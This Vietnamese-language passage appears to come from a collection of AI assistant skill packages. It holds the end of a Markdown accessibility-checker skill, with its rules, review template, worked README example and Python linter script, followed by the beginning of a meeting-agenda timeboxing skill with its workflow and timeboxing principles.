| img-decorative | INFO | `alt=""` sẽ ẩn hình ảnh khỏi trình đọc màn hình; hãy xác nhận chắc chắn rằng bức ảnh đó thuần túy chỉ để trang trí. |
Xem `alt-text-guide.md` để biết cách viết nội dung văn bản thay thế chuẩn xác.
## Bảng biểu (Tables)
- table-empty-header (WARN): mỗi cột trong bảng đều cần có ô tiêu đề để trình đọc màn hình có thể đọc khớp ngữ cảnh như "Bản Pro, Số ngày dự báo, 10". Hãy thêm tiêu đề cột như "Tính năng" vào cột đầu tiên.
- Chỉ sử dụng bảng để trình bày dữ liệu, không dùng bảng để dàn trang (layout). Giữ bảng nhỏ gọn; tách nhỏ các bảng có quá nhiều cột.
## Các quy tắc khác
- color-only (WARN): Câu hướng dẫn "Nhấn vào nút màu xanh lá" sẽ gây khó khăn cho người mù màu và người dùng trình đọc màn hình. Hãy nêu rõ tên nút bấm: "Chọn Lưu (nút màu xanh lá)".
- all-caps (INFO): Đoạn văn bản dài VIẾT HOA TOÀN BỘ rất khó đọc, và một số trình đọc màn hình sẽ đánh vần từng chữ cái đối với các từ viết hoa ngắn. Hãy sử dụng chữ viết thường đúng ngữ pháp và dùng định dạng in đậm để nhấn mạnh.
- emoji-bullet (INFO): Các biểu tượng emoji sẽ bị đọc to bằng tên mô tả dài dòng ("dấu kiểm đậm màu trắng Dự báo hàng giờ"). Hãy sử dụng dấu đầu dòng danh sách tiêu chuẩn, đồng thời hạn chế dùng emoji và chỉ dùng khi thực sự mang lại ý nghĩa.
## Các hạng mục kịch bản không kiểm tra được (cần kiểm tra thủ công)
- Nội dung văn bản thay thế (alt text) có thực sự chính xác và hữu ích hay không.
- Độ tương phản màu sắc và chữ viết nằm bên trong hình ảnh (ảnh chụp màn hình có cỡ chữ quá nhỏ, biểu đồ có độ tương phản thấp).
- Thứ tự đọc của các bố cục phức tạp và các khối mã HTML nhúng bên trong Markdown.
- Phụ đề (captions) và bản chép lời (transcripts) cho video và âm thanh.
- Ngôn ngữ giản dị, dễ hiểu: câu văn ngắn gọn, giải thích rõ các thuật ngữ chuyên ngành và đặt tên các phần mục mang tính mô tả cao.
FILE:templates/a11y-review.md
# Báo cáo Đánh giá Khả năng Tiếp cận: <tài liệu hoặc thư mục>
Ngày: <YYYY-MM-DD>
Số tệp đã kiểm tra: <n> (<danh sách hoặc thư mục>)
Đối tượng độc giả: <ai là người đọc các tài liệu này>
Kết quả chạy công cụ kiểm tra: `python3 scripts/check_md_a11y.py <paths>` -> HIGH <n>, WARN <n>, INFO <n>
## Các mục ưu tiên sửa hàng đầu (tác động lớn nhất xếp trước)
1. <nội dung sửa> (<tệp:dòng>)
2. <nội dung sửa>
3. <nội dung sửa>
## Bảng làm việc văn bản thay thế (Alt text worksheet)
| Tệp:dòng | Hình ảnh | Mục đích trong tài liệu | Alt hiện tại | Alt mới | Đã xem ảnh trực tiếp? |
|---|---|---|---|---|---|
| | | cung cấp thông tin / chức năng / trang trí / phức tạp | | | đã xem / bản nháp |
## Tiêu đề (Headings)
- Dàn ý hiện tại: <H1 ... / H2 ... / H4 ...>
- Dàn ý đề xuất: <H1 ... / H2 ... / H3 ...>
## Liên kết (Links)
| Tệp:dòng | Văn bản hiện tại | Văn bản mới | Đích đến |
|---|---|---|---|
| | | | |
## Các phát hiện khác
| Tệp:dòng | Quy tắc | Thay đổi thực hiện |
|---|---|---|
| | | |
## Sau khi sửa lỗi
Chạy lại công cụ kiểm tra: HIGH <n>, WARN <n>, INFO <n> (các mục INFO còn lại được giải thích bên dưới).
- <mục INFO: lý do vì sao có thể chấp nhận giữ nguyên>
## Các hạng mục vẫn cần kiểm tra thủ công
- <ví dụ: độ tương phản của chữ bên trong ảnh chụp màn hình, phụ đề video>
FILE:examples/example-readme-review.md
# Ví dụ: đánh giá khả năng tiếp cận cho tệp README của một dự án
## Yêu cầu từ người dùng
"Tệp README của ứng dụng mã nguồn mở bên tôi có lượng truy cập rất lớn. Một người dùng sử dụng trình đọc màn hình phản ánh rằng tài liệu rất khó theo dõi. Bạn có thể kiểm tra và sửa giúp tôi được không? Ảnh hero là hình ứng dụng chạy trên điện thoại hiển thị dự báo 3 ngày; app-main.png là màn hình chính có nhiệt độ hàng giờ, sức gió và đường ranh giới tuyết rơi; còn chiếc huy hiệu (badge) là trạng thái bản dựng (build status) của chúng tôi."
## Chạy công cụ kiểm tra (trước khi sửa)
```
$ python3 scripts/check_md_a11y.py README.md
Markdown accessibility check: 1 file(s), 3 image(s)
HIGH 2 WARN 8 INFO 5
README.md (3 images, 4 headings): 15 finding(s)
3 HIGH img-missing-alt Image hero.png has empty alt text; describe it, or confirm it is purely decorative.
5 INFO all-caps Long ALL CAPS text is hard to read and some screen readers spell it letter by letter.
9 WARN vague-link Link text "here" does not say where it goes; describe the destination.
9 WARN vague-link Link text "click here" does not say where it goes; describe the destination.
11 WARN img-generic-alt Alt text "screenshot" for app-main.png is generic; say what the image shows or why it is there.
13 HIGH img-no-alt <img src="docs/img/badge.svg"> has no alt attribute.
15 WARN heading-skip Heading level jumps from H2 to H4 ("Configuration"); use H3.
17 WARN color-only Instruction relies on color; add the label, shape, or position too.
19 INFO fake-heading Bold line "Features" looks like a heading; use a real # heading if it starts a section.
21 INFO emoji-bullet Emoji used as a bullet is read aloud by name; use a list marker and put meaning in words.
22 INFO emoji-bullet Emoji used as a bullet is read aloud by name; use a list marker and put meaning in words.
24 WARN table-empty-header Table header has 1 empty cell(s); every column needs a header.
28 WARN same-text-different-url Link text "docs" points to 2 different URLs; make each text unique.
28 INFO bare-url Bare URL https://example.org/docs; screen readers spell it out. Use [descriptive text](https://example.org/docs).
35 WARN multiple-h1 2 H1 headings (lines 1, 35); keep one title and use ## for sections.
```
Cú pháp `` nằm bên trong khối mã bash và ví dụ mã nội tuyến ở dòng cuối cùng đã được công cụ bỏ qua một cách chính xác.
## Báo cáo đánh giá (đã điền theo mẫu, rút gọn)
# Báo cáo Đánh giá Khả năng Tiếp cận: README.md
Đối tượng độc giả: người đi bộ đường dài (hikers) và các cộng tác viên mã nguồn mở, nhiều người tìm đến từ công cụ tìm kiếm.
Kết quả chạy công cụ kiểm tra: HIGH 2, WARN 8, INFO 5.
### Các mục ưu tiên sửa hàng đầu
1. Cung cấp văn bản thay thế (alt text) thực chất cho ảnh hero và huy hiệu trạng thái bản dựng (dòng 3 và 13).
2. Thay thế cụm từ "here" và "click here" bằng văn bản liên kết nêu rõ tên đích đến (dòng 9).
3. Sửa lại dàn ý tiêu đề: chuyển "Configuration" thành H3, chuyển "Features" thành thẻ tiêu đề H3 thực sự, và hạ thẻ H1 thứ hai "Contributing" xuống thành H2.
4. Nêu rõ tên nút Save thay vì chỉ mô tả màu sắc của nút (dòng 17).
5. Thêm tiêu đề cho cột đầu tiên của bảng (dòng 24).
### Bảng làm việc văn bản thay thế (Alt text worksheet)
| Tệp:dòng | Hình ảnh | Mục đích | Alt hiện tại | Alt mới | Đã xem ảnh? |
|---|---|---|---|---|---|
| README.md:3 | hero.png | cung cấp thông tin: giới thiệu sản phẩm | (trống) | Trailhead Weather on a phone, showing a three-day forecast for a mountain pass. | do người dùng mô tả |
| README.md:11 | app-main.png | cung cấp thông tin: màn hình chính hiển thị những gì | screenshot | Main screen with hourly temperature, wind, and snow line for the selected trailhead. | do người dùng mô tả |
| README.md:13 | badge.svg | cung cấp thông tin: trạng thái bản dựng | (không có thuộc tính alt) | Build: passing | do người dùng mô tả |
### Tiêu đề (Headings)
- Trước khi sửa: H1 Trailhead Weather / H2 Install / H4 Configuration / H1 Contributing (cộng thêm một dòng chữ in đậm "Features").
- Sau khi sửa: H1 Trailhead Weather / H2 Install / H3 Configuration / H3 Features / H2 Contributing.
### Liên kết (Links)
| Dòng | Văn bản hiện tại | Văn bản mới | Đích đến |
|---|---|---|---|
| 9 | here | Download the latest release | https://example.org/releases |
| 9 | click here | setup guide | docs/guides/setup.md |
| 28 | docs (URL trần + "docs") | API reference | https://example.org/docs |
| 28 | docs | setup guide | docs/guides/setup.md |
### Các phát hiện khác
| Dòng | Quy tắc | Thay đổi thực hiện |
|---|---|---|
| 5 | all-caps | Chuyển về chữ thường đúng ngữ pháp bên trong phần ghi chú in đậm. |
| 17 | color-only | Đổi thành "Select Save (the green button at the bottom of Settings)". |
| 21-22 | emoji-bullet | Đổi thành các mục danh sách gạch đầu dòng "-" thông thường. |
| 24 | table-empty-header | Đặt tiêu đề cột đầu tiên là "Feature". |
### Tệp README sau khi sửa (trích đoạn)
```markdown
# Trailhead Weather

Trailhead Weather shows mountain forecasts for hikers. **Note: this project is still in beta and things will break often.**
## Install
[Download the latest release](https://example.org/releases), or follow the [setup guide](docs/guides/setup.md).
<img src="docs/img/badge.svg" width="90" alt="Build: passing">
### Configuration
Select Save (the green button at the bottom of Settings) to save your settings.
### Features
- Hourly forecasts
- Avalanche bulletins
| Feature | Free | Pro |
|---|---|---|
| Forecast days | 3 | 10 |
```
### Sau khi sửa lỗi
```
$ python3 scripts/check_md_a11y.py README-fixed.md
Markdown accessibility check: 1 file(s), 3 image(s)
HIGH 0 WARN 0 INFO 0
```
### Các hạng mục vẫn cần kiểm tra thủ công
- Ảnh hero có phần chữ nhỏ hiển thị trên màn hình điện thoại; văn bản thay thế (alt text) đã truyền tải đầy đủ thông điệp cốt lõi nên ở đây như vậy là ổn.
- Nếu sau này tệp README được đưa lên thành một trang trên website tài liệu, hãy kiểm tra để chắc chắn hệ thống tạo trang không tự động chèn thêm một thẻ H1 thứ hai.
## Vì sao đây là một phương án xử lý tốt
- Văn bản thay thế (alt text) mô tả đúng mục đích của từng bức ảnh dựa trên thông tin người dùng cung cấp thay vì tự suy đoán.
- Các liên kết và tiêu đề được chỉnh sửa phù hợp với cách thức điều hướng thực tế của người dùng trình đọc màn hình: duyệt theo danh sách liên kết và sơ đồ dàn ý tiêu đề.
- Bản sửa lỗi được kiểm chứng lại bằng cách chạy công cụ kiểm tra một lần nữa, đồng thời liệt kê trung thực những hạng mục vẫn cần con người kiểm tra thủ công.
FILE:scripts/check_md_a11y.py
#!/usr/bin/env python3
"""Check Markdown files for common accessibility problems.
Usage:
python3 check_md_a11y.py README.md docs/ # files and folders (*.md, *.markdown)
python3 check_md_a11y.py docs/ --json
cat page.md | python3 check_md_a11y.py -
python3 check_md_a11y.py docs/ --fail-on warn # exit 1 on WARN too (for CI)
Checks (code blocks and inline code are ignored):
images missing alt text, file-name or generic alt ("image", "screenshot"),
redundant "image of ..." openers, very long alt, HTML <img> without alt,
empty alt (fine only for decorative images)
headings no H1 or more than one H1, skipped levels (H2 -> H4), empty headings,
bold lines used as fake headings
links empty link text, vague text ("click here", "read more", "here"),
bare URLs, the same text pointing to different URLs
tables empty header cells
other ALL CAPS sentences, emoji used as bullets, color-only instructions
Severities: HIGH (blocks understanding), WARN (should fix), INFO (check by hand).
Exit code: 0 no HIGH, 1 HIGH found (or WARN with --fail-on warn), 2 usage error.
Standard library only.
"""
import argparse
import json
import os
import re
import sys
GENERIC_ALT = {"image", "img", "picture", "pic", "photo", "screenshot", "screen shot", "graphic", "icon",
"logo", "diagram", "chart", "figure", "untitled", "alt", "alt text", "banner", "placeholder"}
VAGUE_LINK = {"click here", "here", "click", "read more", "more", "learn more", "link", "this", "this link",
"this page", "go", "details", "more info", "info", "see here", "check it out"}
REDUNDANT_START = re.compile(r"^(an? )?(image|picture|photo|screenshot|graphic) (of|showing)\b", re.I)
FILE_ALT = re.compile(r"^[\w\-. ]+\.(png|jpe?g|gif|svg|webp|bmp|tiff?)$|^(img|image|dsc|screenshot)[_\- ]?\d+", re.I)
IMG_MD = re.compile(r"!\[([^\]]*)\]\(\s*<?([^)\s>]*)>?(?:\s+\"[^\"]*\")?\s*\)")
IMG_REF = re.compile(r"!\[([^\]]*)\]\[[^\]]*\]")
LINK_MD = re.compile(r"(?<!!)\[([^\]]*)\]\(\s*<?([^)\s>]*)>?(?:\s+\"[^\"]*\")?\s*\)")
HTML_IMG = re.compile(r"<img\b[^>]*>", re.I)
BARE_URL = re.compile(r"(?<![(<\"'=\[])\bhttps?://[^\s)>\]]+")
COLOR_ONLY = re.compile(r"\b(click|press|tap|select|choose|use)\b[^.]{0,30}\b(red|green|blue|yellow|orange|purple)\b(?! *\()", re.I)
EMOJI_BULLET = re.compile(r"^\s*[\u2705\u274c\u2b50\u27a1\u2714\u2716\U0001F300-\U0001FAFF]\ufe0f?\s+\S")
def strip_inline_code(line):
return re.sub(r"`+[^`]*`+", lambda m: " " * len(m.group(0)), line)
def check_text(text, name):
findings = []
def add(sev, line, rule, msg):
findings.append({"file": name, "line": line, "severity": sev, "rule": rule, "message": msg})
lines = text.replace("\r\n", "\n").split("\n")
in_fence, fence = False, ""
headings, link_targets = [], {}
images = 0
prev_blank = True
for no, raw in enumerate(lines, 1):
stripped = raw.strip()
m = re.match(r"^\s{0,3}(`{3,}|~{3,})", raw)
if m:
if not in_fence:
in_fence, fence = True, m.group(1)[0] * 3
elif stripped.startswith(fence):
in_fence = False
continue
if in_fence or raw.startswith(" ") and prev_blank and not stripped.startswith(("-", "*", "+")):
prev_blank = not stripped if not in_fence else prev_blank
continue
line = strip_inline_code(raw)
hm = re.match(r"^\s{0,3}(#{1,6})(\s+|$)(.*?)\s*#*\s*$", line)
if hm:
level, title = len(hm.group(1)), hm.group(3).strip()
headings.append((no, level, title))
if not title:
add("HIGH", no, "empty-heading", f"Empty H{level} heading; screen reader users navigate by headings.")
elif re.fullmatch(r"\s*(\*\*|__)[^*_]{2,80}(\*\*|__):?\s*", line) and prev_blank:
add("INFO", no, "fake-heading", f"Bold line \"{stripped.strip('*_:')}\" looks like a heading; use a real # heading if it starts a section.")
images += len(IMG_MD.findall(line)) + len(IMG_REF.findall(line)) + len(HTML_IMG.findall(line))
for alt, src in IMG_MD.findall(line):
check_alt(add, no, alt, src)
for alt in IMG_REF.findall(line):
check_alt(add, no, alt, "(reference)")
for tag in HTML_IMG.findall(line):
am = re.search(r"\balt\s*=\s*(\"([^\"]*)\"|'([^']*)'|(\S+))", tag, re.I)
src = re.search(r"\bsrc\s*=\s*[\"']?([^\"'\s>]+)", tag, re.I)
src = src.group(1) if src else "?"
if not am:
add("HIGH", no, "img-no-alt", f"<img src=\"{src}\"> has no alt attribute.")
else:
check_alt(add, no, am.group(2) if am.group(2) is not None else (am.group(3) if am.group(3) is not None else am.group(4)), src, html=True)
no_images = IMG_MD.sub(" ", line)
for text_, url in LINK_MD.findall(no_images):
label = re.sub(r"[*_`]", "", text_).strip()
if not label:
add("HIGH", no, "empty-link", f"Link to {url or '(no url)'} has no text; screen readers will read the URL or nothing.")
elif label.lower().rstrip(".!:") in VAGUE_LINK:
add("WARN", no, "vague-link", f"Link text \"{label}\" does not say where it goes; describe the destination.")
elif re.fullmatch(r"https?://\S+", label):
add("INFO", no, "url-as-link-text", f"Link text is a raw URL ({label[:60]}); use a short description.")
if label:
link_targets.setdefault(label.lower(), {}).setdefault(url, no)
for url in BARE_URL.findall(LINK_MD.sub(" ", no_images)):
add("INFO", no, "bare-url", f"Bare URL {url[:60]}; screen readers spell it out. Use [descriptive text]({url[:40]}).")
if "|" in line and re.match(r"^\s*\|?\s*:?-{3,}:?\s*(\|\s*:?-{3,}:?\s*)+\|?\s*$", line) and no > 1:
header = lines[no - 2].strip().strip("|")
cells = [c.strip() for c in header.split("|")]
if any(not c for c in cells):
add("WARN", no - 1, "table-empty-header", f"Table header has {sum(1 for c in cells if not c)} empty cell(s); every column needs a header.")
run = longest = 0
for w in re.findall(r"[A-Za-z]+", line):
run = run + 1 if w.isupper() and (len(w) > 1 or w in "AI") else 0
longest = max(longest, run)
if longest >= 5 and not hm:
add("INFO", no, "all-caps", "Long ALL CAPS text is hard to read and some screen readers spell it letter by letter.")
if EMOJI_BULLET.match(line):
add("INFO", no, "emoji-bullet", "Emoji used as a bullet is read aloud by name; use a list marker and put meaning in words.")
cm = COLOR_ONLY.search(line)
if cm:
between = line[cm.end(1):cm.start(2)]
inside_parens = line[:cm.start(2)].count("(") > line[:cm.start(2)].count(")")
names_label = re.match(r"\s+(\*\*|\"|')?[A-Z]", between) # "Select Save ..." or "Press **Save**"
if inside_parens or names_label:
cm = None
if cm:
add("WARN", no, "color-only", "Instruction relies on color; add the label, shape, or position too.")
prev_blank = not stripped
h1 = [h for h in headings if h[1] == 1]
if headings and not h1:
add("WARN", headings[0][0], "no-h1", "Document has no H1; start with one # title.")
if len(h1) > 1:
add("WARN", h1[1][0], "multiple-h1", f"{len(h1)} H1 headings (lines {', '.join(str(h[0]) for h in h1)}); keep one title and use ## for sections.")
for (pno, plev, _), (no, lev, title) in zip(headings, headings[1:]):
if lev > plev + 1:
add("WARN", no, "heading-skip", f"Heading level jumps from H{plev} to H{lev} (\"{title[:50]}\"); use H{plev + 1}.")
if not headings and len([l for l in lines if l.strip()]) > 15:
add("INFO", 1, "no-headings", "Long document with no headings; add headings so readers can navigate.")
for label, targets in link_targets.items():
if len(targets) > 1 and label not in VAGUE_LINK:
first = min(targets.values())
add("WARN", first, "same-text-different-url", f"Link text \"{label}\" points to {len(targets)} different URLs; make each text unique.")
order = {"HIGH": 0, "WARN": 1, "INFO": 2}
findings.sort(key=lambda f: (f["line"], order[f["severity"]]))
return findings, len(headings), images
def check_alt(add, no, alt, src, html=False):
a = alt.strip()
base = os.path.basename(src) if src else ""
if a == "" and html:
add("INFO", no, "img-decorative", f"<img src=\"{base}\"> has alt=\"\" (marked decorative); confirm it carries no information.")
return
if a == "" and src:
add("HIGH", no, "img-missing-alt", f"Image {base or src} has empty alt text; describe it, or confirm it is purely decorative.")
return
low = a.lower().rstrip(".")
if low in GENERIC_ALT:
add("WARN", no, "img-generic-alt", f"Alt text \"{a}\" for {base} is generic; say what the image shows or why it is there.")
elif FILE_ALT.search(a) or (base and low == os.path.splitext(base)[0].lower()):
add("WARN", no, "img-filename-alt", f"Alt text \"{a}\" looks like a file name; describe the image instead.")
elif REDUNDANT_START.match(a):
add("INFO", no, "img-redundant-alt", f"Alt text starts with \"{' '.join(a.split()[:3])}\"; screen readers already say 'image', so start with the content.")
if len(a) > 150:
add("WARN", no, "img-long-alt", f"Alt text is {len(a)} characters; keep it under about 150 and move details to the surrounding text or a caption.")
def collect(paths):
files = []
for p in paths:
if p == "-":
files.append("-")
elif os.path.isdir(p):
for root, dirs, names in os.walk(p):
dirs[:] = sorted(d for d in dirs if not d.startswith(".") and d != "node_modules")
files += [os.path.join(root, n) for n in sorted(names) if n.lower().endswith((".md", ".markdown"))]
elif os.path.isfile(p):
files.append(p)
else:
raise FileNotFoundError(p)
return files
def main():
ap = argparse.ArgumentParser(description="Markdown accessibility checker")
ap.add_argument("paths", nargs="+", help="Markdown files, folders, or - for stdin")
ap.add_argument("--json", action="store_true")
ap.add_argument("--fail-on", choices=["high", "warn"], default="high")
args = ap.parse_args()
try:
files = collect(args.paths)
except FileNotFoundError as e:
print(f"error: path not found: {e}", file=sys.stderr)
return 2
if not files:
print("error: no Markdown files (*.md, *.markdown) found", file=sys.stderr)
return 2
all_findings, stats = [], []
for f in files:
text = sys.stdin.read() if f == "-" else open(f, encoding="utf-8", errors="replace").read()
name = "<stdin>" if f == "-" else f
found, nhead, images = check_text(text, name)
stats.append({"file": name, "images": images, "headings": nhead, "findings": len(found)})
all_findings += found
counts = {s: sum(1 for x in all_findings if x["severity"] == s) for s in ("HIGH", "WARN", "INFO")}
if args.json:
print(json.dumps({"files": stats, "counts": counts, "findings": all_findings}, indent=2))
else:
print(f"Markdown accessibility check: {len(files)} file(s), {sum(s['images'] for s in stats)} image(s)")
print(f"HIGH {counts['HIGH']} WARN {counts['WARN']} INFO {counts['INFO']}")
for s in stats:
items = [x for x in all_findings if x["file"] == s["file"]]
print(f"\n{s['file']} ({s['images']} images, {s['headings']} headings): {len(items)} finding(s)")
for x in items:
print(f" {x['line']:>4} {x['severity']:<4} {x['rule']:<24} {x['message']}")
print("\nAutomated checks cover only part of accessibility; review alt text meaning, reading order, and contrast by hand.")
bad = counts["HIGH"] + (counts["WARN"] if args.fail_on == "warn" else 0)
return 1 if bad else 0
if __name__ == "__main__":
sys.exit(main())Chuyển danh sách các chủ đề họp thành chương trình họp có phân bổ thời gian cụ thể theo giờ đồng hồ, người phụ trách và kết quả đầu ra cho từng mục, kiểm tra xem lịch trình có khớp với khung giờ kèm thời gian dự phòng hay không, cảnh báo các quyết định bị đẩy xuống muộn hoặc quá gấp gáp, quá nhiều phần cập nhật tiến độ, các mục quá dài và thiếu thời gian nghỉ giải lao, đồng thời soạn sẵn chương trình họp để gửi đi. Bao gồm kịch bản phân bổ thời gian bằng Python thư viện chuẩn đã được kiểm thử kèm chế độ tự động co giãn vừa khung giờ (fit mode).
---
name: meeting-agenda-timeboxer
description: Chuyển danh sách thô các chủ đề họp thành một chương trình họp được phân bổ thời gian (timeboxed) với giờ bắt đầu và kết thúc, người phụ trách, cùng kết quả đầu ra rõ ràng cho từng mục (inform, discuss, decide, brainstorm, review), kiểm tra xem lịch trình có vừa vặn với khung giờ kèm khoảng đệm dự phòng hay không, cảnh báo các dấu hiệu bất ổn trong chương trình họp như quyết định bị xếp quá muộn hoặc vội vàng, quá nhiều báo cáo tiến độ, các mục quá dài và thiếu giờ nghỉ giải lao, đồng thời viết bản chương trình họp và tài liệu đọc trước (pre-read) sẵn sàng để gửi đi. Sử dụng khi người dùng yêu cầu "giúp tôi lên kế hoạch cuộc họp này", "chương trình họp này có gói gọn trong một tiếng được không?", "làm cho lịch họp này chặt chẽ hơn", hoặc chia sẻ danh sách chủ đề cho một cuộc họp nhóm, buổi hội thảo (workshop), buổi họp toàn thể (offsite) hay buổi đánh giá.
---
# Công cụ Phân bổ Thời gian Chương trình Họp (Meeting Agenda Timeboxer)
Bạn giúp mọi người điều hành các cuộc họp kết thúc đúng giờ và đưa ra được quyết định. Bạn biến danh sách các chủ đề thành một lịch trình thực tế, gán cho mỗi mục một người phụ trách và một mục đích cụ thể, chuyển các phần cập nhật tiến độ ra ngoài phòng họp, và làm cho bài toán thời gian trở nên minh bạch để không ai phải ngỡ ngàng ở phút thứ 55 rằng quyết định quan trọng nhất đã không còn thời gian để bàn.
## Các tệp trong kỹ năng này
- `scripts/timebox_agenda.py` - lập lịch cho từng mục, kiểm tra độ khớp với khung giờ và thời gian dự phòng, cảnh báo các bất cập trong chương trình họp, và có thể co giãn các mục cho vừa khung giờ theo từng bước 5 phút (chỉ sử dụng thư viện chuẩn của Python 3)
- `references/timeboxing-principles.md` - thời gian thực tế mà từng hoạt động tiêu tốn, kết quả đầu ra của từng mục, thứ tự sắp xếp, thời gian dự phòng và nghỉ giải lao
- `references/facilitation-moves.md` - các kỹ thuật điều phối giúp giữ từng loại mục nằm gọn trong khung thời gian đã định, và cách xử lý khi một mục bị lố giờ
- `templates/agenda.md` - định dạng đầu vào của chương trình họp và mẫu chương trình họp để gửi đi
- `examples/example-roadmap-meeting.md` - ví dụ thực tế về cách chỉnh sửa một cuộc họp lập kế hoạch kéo dài một giờ bị quá tải
## Quy trình làm việc
### 1. Thu thập dữ kiện
Hỏi người dùng, hoặc đưa ra giả định và nêu rõ:
- Mục đích của cuộc họp gói gọn trong một câu: điều gì phải đạt được khi cuộc họp kết thúc?
- Giờ bắt đầu và thời lượng (hoặc giờ kết thúc), số lượng người tham dự, họp trực tiếp hay trực tuyến.
- Các chủ đề, mỗi chủ đề kèm theo người phụ trách và việc mà cả nhóm cần làm với chủ đề đó: `inform` (thông báo), `update` (cập nhật), `discuss` (thảo luận), `brainstorm` (động não), `review` (đánh giá) hoặc `decide` (quyết định).
- Các ràng buộc cứng: những người vào muộn hoặc rời đi sớm, các khung giờ nghỉ giải lao cố định.
### 2. Viết bản nháp chương trình họp
Sử dụng định dạng đầu vào trong `templates/agenda.md` (mỗi mục một dòng: `minutes | topic | owner | outcome`). Dùng dấu `?` cho thời lượng mà chưa ai biết chắc. Ước lượng thời gian dựa theo `references/timeboxing-principles.md`.
### 3. Chạy công cụ phân bổ thời gian (timeboxer)
```bash
python3 scripts/timebox_agenda.py agenda.txt
python3 scripts/timebox_agenda.py agenda.txt --fit # scale to the slot in 5-minute steps
python3 scripts/timebox_agenda.py agenda.json --json
```
Công cụ sẽ in ra lịch trình với giờ đồng hồ cụ thể, thời gian dự phòng và các phát hiện: `HIGH` khi chương trình họp vượt quá khung giờ, `WARN` cho các dấu hiệu bất ổn, `INFO` cho thời gian chưa lên kế hoạch và chi phí cuộc họp tính theo giờ công (person-hours). Tùy chọn `--fit` sẽ cắt giảm các mục cập nhật tiến độ trước, sau đó co giãn tỷ lệ các mục còn lại; nó không bao giờ tự ý đổi thứ tự các mục, vì vậy bạn hãy tự kiểm tra lại thứ tự sau đó.
Nếu bạn không thể chạy kịch bản này, hãy tự tính toán giờ đồng hồ thủ công cho từng mục một và nói rõ điều đó.
### 4. Sửa bản chất chương trình họp, chứ không chỉ sửa các con số
Xử lý các phát hiện theo thứ tự sau:
1. Loại bỏ hoặc thu gọn các phần cập nhật tiến độ và thông báo: chuyển chúng thành tài liệu đọc trước (pre-read) bằng văn bản.
2. Đưa các mục cần ra quyết định lên đầu (trong nửa đầu cuộc họp), và dành cho mỗi quyết định ít nhất 10 phút kèm theo bản đề xuất bằng văn bản được gửi trước.
3. Gán cho mỗi mục một người phụ trách và một kết quả đầu ra rõ ràng; bỏ mục "AOB" (Các vấn đề khác) hoặc biến nó thành 5 phút rà soát danh sách tồn đọng (parking lot).
4. Chia nhỏ các mục kéo dài trên 45 phút; thêm thời gian nghỉ giải lao sau mỗi 60 đến 90 phút.
5. Nếu vẫn không vừa khung giờ, hãy đề xuất những mục cần cắt bỏ hoặc chuyển sang cuộc họp khác hay trao đổi không đồng bộ (async), và nêu rõ phần nào sẽ bị lược bớt.
Chạy lại kịch bản cho đến khi không còn phát hiện mức `HIGH` nào và mọi cảnh báo `WARN` đều đã được khắc phục hoặc giải trình hợp lý.
### 5. Bàn giao kết quả
Điền hoàn chỉnh bản chương trình họp để gửi đi theo mẫu `templates/agenda.md`: mục đích, kết quả mong muốn, lịch trình có gắn mốc giờ, danh sách tài liệu đọc trước kèm người phụ trách và hạn chót, cùng quy tắc xử lý danh sách tồn đọng (parking lot). Thêm một hoặc hai mẹo điều phối cho mỗi mục có nguy cơ cháy giáo án dựa trên `references/facilitation-moves.md`. Tuân theo phong cách trình bày của `examples/example-roadmap-meeting.md`.
## Quy tắc
- Tuyệt đối không làm đẹp các con số bằng cách ép thời gian của một mục ra quyết định xuống thấp hơn mức cần thiết; hãy cắt hoặc chuyển mục khác đi, hoặc khuyến nghị kéo dài thời lượng cuộc họp.
- Luôn giữ thời gian dự phòng (buffer): khoảng 5 phút cho mỗi giờ họp, hoặc 10 phần trăm đối với các buổi hội thảo (workshop).
- Hãy nói thẳng khi một cuộc họp không nên diễn ra (không có quyết định nào cần chốt, không có gì cần thảo luận trực tiếp) và đề xuất phương án làm việc không đồng bộ (async) thay thế.
- Tôn trọng văn hóa làm việc và các ràng buộc của người dùng; đưa ra gợi ý chứ không lên mặt dạy đời.
- Giờ hiển thị là giờ địa phương của cuộc họp; đối với người tham dự từ xa ở các múi giờ khác, hãy nhắc tới điều đó nhưng không tự động quy đổi trừ khi được yêu cầu.
FILE:references/timeboxing-principles.md
# Nguyên tắc phân bổ thời gian (Timeboxing)
## Mỗi mục đều cần một kết quả đầu ra
| Kết quả đầu ra | Việc cả nhóm thực hiện | Thời lượng điển hình | Ghi chú |
|---|---|---|---|
| inform | Lắng nghe thông tin, đặt câu hỏi làm rõ | 2 đến 5 phút | Tốt hơn nên chuyển thành tài liệu đọc trước bằng văn bản. |
| update | Báo cáo tiến độ từ các cá nhân hoặc nhóm | 1 đến 2 phút mỗi người | Thường nên làm không đồng bộ (async); chỉ giữ lại các vướng mắc (blockers) để bàn trực tiếp. |
| discuss | Khám phá một chủ đề, chia sẻ góc nhìn, chưa chốt quyết định | 10 đến 20 phút | Nêu rõ cuộc thảo luận này phục vụ cho việc gì (một quyết định vào tuần tới, hay một tài liệu). |
| brainstorm | Đưa ra các phương án, ý tưởng | 15 đến 30 phút | Cần một câu hỏi được đóng khung rõ ràng và một phương pháp cụ thể (viết nháp trong im lặng trước). |
| review | Đưa ra phản hồi về bản nháp, thiết kế hoặc kế hoạch | 15 đến 40 phút | Gửi tài liệu trước cuộc họp; thống nhất rõ loại phản hồi nào đang được mong đợi. |
| decide | Lựa chọn giữa các phương án và cam kết thực hiện | 10 đến 30 phút | Cần bản đề xuất viết sẵn, các phương án, người có thẩm quyền quyết định và nguyên tắc ra quyết định. |
| break | Nghỉ ngơi | 5 đến 15 phút | Sau mỗi 60 đến 90 phút. |
Nếu một mục không có kết quả đầu ra rõ ràng, hãy đặt câu hỏi: "Điều gì sẽ thay đổi sau khi bàn xong mục này?" Nếu câu trả lời là "không có gì cả", hãy cắt bỏ mục đó.
## Thời gian thực tế mà các hoạt động tiêu tốn
- Giới thiệu làm quen: khoảng 1 phút mỗi người đối với nhóm mới gặp, 0 phút đối với nhóm làm việc thường xuyên.
- Mỗi người phát biểu một lần về một chủ đề: khoảng 1,5 đến 2 phút mỗi người. Tám người phát biểu một vòng sẽ mất 15 phút.
- Chia sẻ màn hình và khởi động: 2 đến 3 phút, và còn lâu hơn đối với các cuộc họp từ xa sử dụng công cụ mới.
- Một quyết định có sự bất đồng thực sự: hãy nhân đôi thời gian ước tính, hoặc tách thành hai bước "thảo luận" hôm nay và "chốt quyết định" vào buổi sau.
- Các mục nằm ở cuối chương trình họp thường diễn ra nhanh hơn nhưng chất lượng tệ hơn: mọi người làm vội vàng hoặc phải rời phòng họp.
## Thứ tự sắp xếp
